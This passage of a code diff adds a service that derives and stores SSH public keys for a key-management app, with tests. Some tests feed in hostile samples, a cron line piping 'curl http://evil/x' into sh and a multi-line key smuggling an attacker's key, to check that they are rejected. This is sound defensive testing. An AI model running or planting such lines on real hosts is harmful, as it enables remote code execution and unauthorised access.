+  it("goes through the store, so a key imported private-only still deploys", async () => {
     await addKeyToHost({ sshKey, connection });
-    expect(getSecret).toHaveBeenCalledWith("key:k1:public");
-    expect(getSecret).not.toHaveBeenCalledWith("key:k1:private");
+    expect(ensurePublicKey).toHaveBeenCalledWith(sshKey);
   });
 
   it("defaults to .ssh/authorized_keys", async () => {
@@ -54,8 +55,8 @@ describe("addKeyToHost", () => {
     }));
   });
 
-  it("throws when the public key is missing", async () => {
-    getSecret.mockResolvedValueOnce("" as never);
+  it("throws when the public key is missing and cannot be derived", async () => {
+    ensurePublicKey.mockResolvedValueOnce(null);
     await expect(addKeyToHost({ sshKey, connection })).rejects.toThrow();
     expect(sshExecCommand).not.toHaveBeenCalled();
   });
@@ -93,7 +94,7 @@ describe("addKeyToHost", () => {
   });
 
   it("throws on a multi-line public key instead of shipping it, and never calls sshExecCommand", async () => {
-    getSecret.mockResolvedValueOnce(`${PUB_KEY}\nssh-ed25519 AAAAB3attacker` as never);
+    ensurePublicKey.mockResolvedValueOnce(`${PUB_KEY}\nssh-ed25519 AAAAB3attacker`);
     await expect(addKeyToHost({ sshKey, connection })).rejects.toThrow();
     expect(sshExecCommand).not.toHaveBeenCalled();
   });
@@ -109,7 +110,7 @@ describe("addKeyToHost", () => {
   it("throws on a public key that is not one, so it cannot be written to the remote file", async () => {
     // key_add_to_host's script supplies the line break itself, so one line of
     // attacker-chosen content is a working cron entry or shell rc line.
-    getSecret.mockResolvedValueOnce("* * * * * root curl http://evil/x|sh" as never);
+    ensurePublicKey.mockResolvedValueOnce("* * * * * root curl http://evil/x|sh");
     await expect(addKeyToHost({ sshKey, connection })).rejects.toThrow();
     expect(sshExecCommand).not.toHaveBeenCalled();
   });
diff --git a/src/services/keyExport.ts b/src/services/keyExport.ts
index c7a0a1316..314bd3614 100644
--- a/src/services/keyExport.ts
+++ b/src/services/keyExport.ts
@@ -1,5 +1,5 @@
 import i18n from "@/i18n";
-import { getSecret } from "@/services/vault";
+import { ensurePublicKey } from "@/services/publicKeyStore";
 import { resolveConnectionCredentials } from "@/services/credentials";
 import { sshExecCommand } from "@/services/ssh";
 import { isValidSshPublicKey } from "@/services/sshPublicKey";
@@ -50,7 +50,7 @@ export async function addKeyToHost({
   const safeLocation = String(location);
   const safeFilename = String(filename);
 
-  const pubKey = await getSecret(`key:${sshKey.id}:public`);
+  const pubKey = await ensurePublicKey(sshKey);
   if (!pubKey) throw new Error(i18n.t("keychain.exportPanel.publicKeyNotFoundError"));
   const trimmedPubKey = pubKey.trim();
   // printf writes this verbatim as the file's second line, so anything that is
diff --git a/src/services/publicKeyStore.test.ts b/src/services/publicKeyStore.test.ts
new file mode 100644
index 000000000..4490173c1
--- /dev/null
+++ b/src/services/publicKeyStore.test.ts
@@ -0,0 +1,89 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { ensurePublicKey } from "./publicKeyStore";
+
+const PUB_KEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHqW1p3nMuFvR5NHqhkxLQKfDVZ2VYFOxKvL8dW7dSpq user@host";
+
+const secrets = new Map<string, string>();
+const getSecret = vi.fn(async (key: string) => secrets.get(key) ?? null);
+const storeSecret = vi.fn(async (_key: string, _value: string) => {});
+const saveTeamVaultSecretForVault = vi.fn(async (..._a: unknown[]) => {});
+const invoke = vi.fn(async (..._a: unknown[]) => `${PUB_KEY}\n`);
+
+vi.mock("@tauri-apps/api/core", () => ({ invoke: (...a: unknown[]) => invoke(...a) }));
+vi.mock("@/services/vault", () => ({
+  getSecret: (k: string) => getSecret(k),
+  storeSecret: (k: string, v: string) => storeSecret(k, v),
+}));
+vi.mock("@/services/teamVaultSecrets", () => ({
+  saveTeamVaultSecretForVault: (...a: unknown[]) => saveTeamVaultSecretForVault(...a),
+}));
+
+const sshKey = { id: "k1", name: "laptop", vault_id: "team-1" } as any;
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  secrets.clear();
+});
+
+describe("ensurePublicKey", () => {
+  it("returns the stored public half without touching the private one", async () => {
+    secrets.set("key:k1:public", `${PUB_KEY}\n`);
+    secrets.set("key:k1:private", "PRIVATE");
+    await expect(ensurePublicKey(sshKey)).resolves.toBe(PUB_KEY);
+    expect(invoke).not.toHaveBeenCalled();
+    expect(storeSecret).not.toHaveBeenCalled();
+  });
+
+  it("derives the public half from the private one when none is stored", async () => {
+    secrets.set("key:k1:private", "PRIVATE");
+    await expect(ensurePublicKey(sshKey)).resolves.toBe(PUB_KEY);
+    expect(invoke).toHaveBeenCalledWith("ssh_public_key_from_private", {
+      privateKey: "PRIVATE",
+      passphrase: null,
+    });
+  });
+
+  it("backfills the derived half locally and into the key's team vault", async () => {
+    secrets.set("key:k1:private", "PRIVATE");
+    await ensurePublicKey(sshKey);
+    expect(storeSecret).toHaveBeenCalledWith("key:k1:public", PUB_KEY);
+    expect(saveTeamVaultSecretForVault).toHaveBeenCalledWith("team-1", "key:k1:public", PUB_KEY);
+  });
+
+  it("unlocks an encrypted private half with the stored passphrase", async () => {
+    secrets.set("key:k1:private", "PRIVATE");
+    secrets.set("key:k1:passphrase", "hunter2");
+    await ensurePublicKey(sshKey);
+    expect(invoke).toHaveBeenCalledWith("ssh_public_key_from_private", {
+      privateKey: "PRIVATE",
+      passphrase: "hunter2",
+    });
+  });
+
+  it("returns null and never derives when there is no private half either", async () => {
+    await expect(ensurePublicKey(sshKey)).resolves.toBeNull();
+    expect(invoke).not.toHaveBeenCalled();
+  });
+
+  it("returns null when the key is encrypted and no passphrase is stored", async () => {
+    secrets.set("key:k1:private", "PRIVATE");
+    invoke.mockRejectedValueOnce("ENCRYPTED" as never);
+    await expect(ensurePublicKey(sshKey)).resolves.toBeNull();
+    expect(storeSecret).not.toHaveBeenCalled();
+  });
+
+  it("refuses to store a derived value that is not a public key", async () => {
+    // The backend is the only producer today, but this is what is appended to a
+    // remote authorized_keys — the store is not where that rule gets relaxed.
+    secrets.set("key:k1:private", "PRIVATE");
+    invoke.mockResolvedValueOnce("* * * * * root curl http://evil/x|sh" as never);
+    await expect(ensurePublicKey(sshKey)).resolves.toBeNull();
+    expect(storeSecret).not.toHaveBeenCalled();
+  });
+
+  it("still returns the derived half when publishing it to the team vault fails", async () => {
+    secrets.set("key:k1:private", "PRIVATE");
+    saveTeamVaultSecretForVault.mockRejectedValueOnce(new Error("offline") as never);
+    await expect(ensurePublicKey(sshKey)).resolves.toBe(PUB_KEY);
+  });
+});
diff --git a/src/services/publicKeyStore.ts b/src/services/publicKeyStore.ts
new file mode 100644
index 000000000..e58d32c96
--- /dev/null
+++ b/src/services/publicKeyStore.ts
@@ -0,0 +1,56 @@
+import { invoke } from "@tauri-apps/api/core";
+import { getSecret, storeSecret } from "@/services/vault";
+import { saveTeamVaultSecretForVault } from "@/services/teamVaultSecrets";
+import { isValidSshPublicKey } from "@/services/sshPublicKey";
+import type { SshKey } from "@/types";
+
+/** Matches the codes `commands::keygen` returns; anything else is a real failure. */
+export type DeriveFailure = "encrypted" | "invalid";
+export type DeriveResult = { publicKey: string } | { error: DeriveFailure };
+
+/**
+ * The public half of a private key, computed by the backend. A key imported
+ * private-only has none stored, and the panel that deploys it needs one.
+ */
+export async function derivePublicKey(
+  privateKey: string,
+  passphrase?: string | null,
+): Promise<DeriveResult> {
+  try {
+    const publicKey = await invoke<string>("ssh_public_key_from_private", {
+      privateKey,
+      passphrase: passphrase || null,
+    });
+    return { publicKey: publicKey.trim() };
+  } catch (err) {
+    return { error: String(err).includes("ENCRYPTED") ? "encrypted" : "invalid" };
+  }
+}
+
+/**
+ * The stored public half, derived and backfilled from the private one when it is
+ * missing. Null when nothing can produce it — no private half at all, or an
+ * encrypted one whose passphrase was never saved; the caller says so in its own
+ * words rather than guessing at a deploy that would fail later.
+ *
+ * The derived value goes through `isValidSshPublicKey` before being stored: this
+ * is what `addKeyToHost` appends to a remote file, so the rule holds wherever the
+ * value comes from.
+ */
+export async function ensurePublicKey(sshKey: SshKey): Promise<string | null> {
+  const localKey = `key:${sshKey.id}:public`;
+  const stored = (await getSecret(localKey))?.trim();
+  if (stored) return stored;
+
+  const privateKey = await getSecret(`key:${sshKey.id}:private`);
+  if (!privateKey) return null;
+
+  const passphrase = await getSecret(`key:${sshKey.id}:passphrase`);
+  const result = await derivePublicKey(privateKey, passphrase);
+  if ("error" in result) return null;
+  if (!isValidSshPublicKey(result.publicKey)) return null;
+
+  await storeSecret(localKey, result.publicKey);
+  await saveTeamVaultSecretForVault(sshKey.vault_id, localKey, result.publicKey).catch(() => {});
+  return result.publicKey;
+}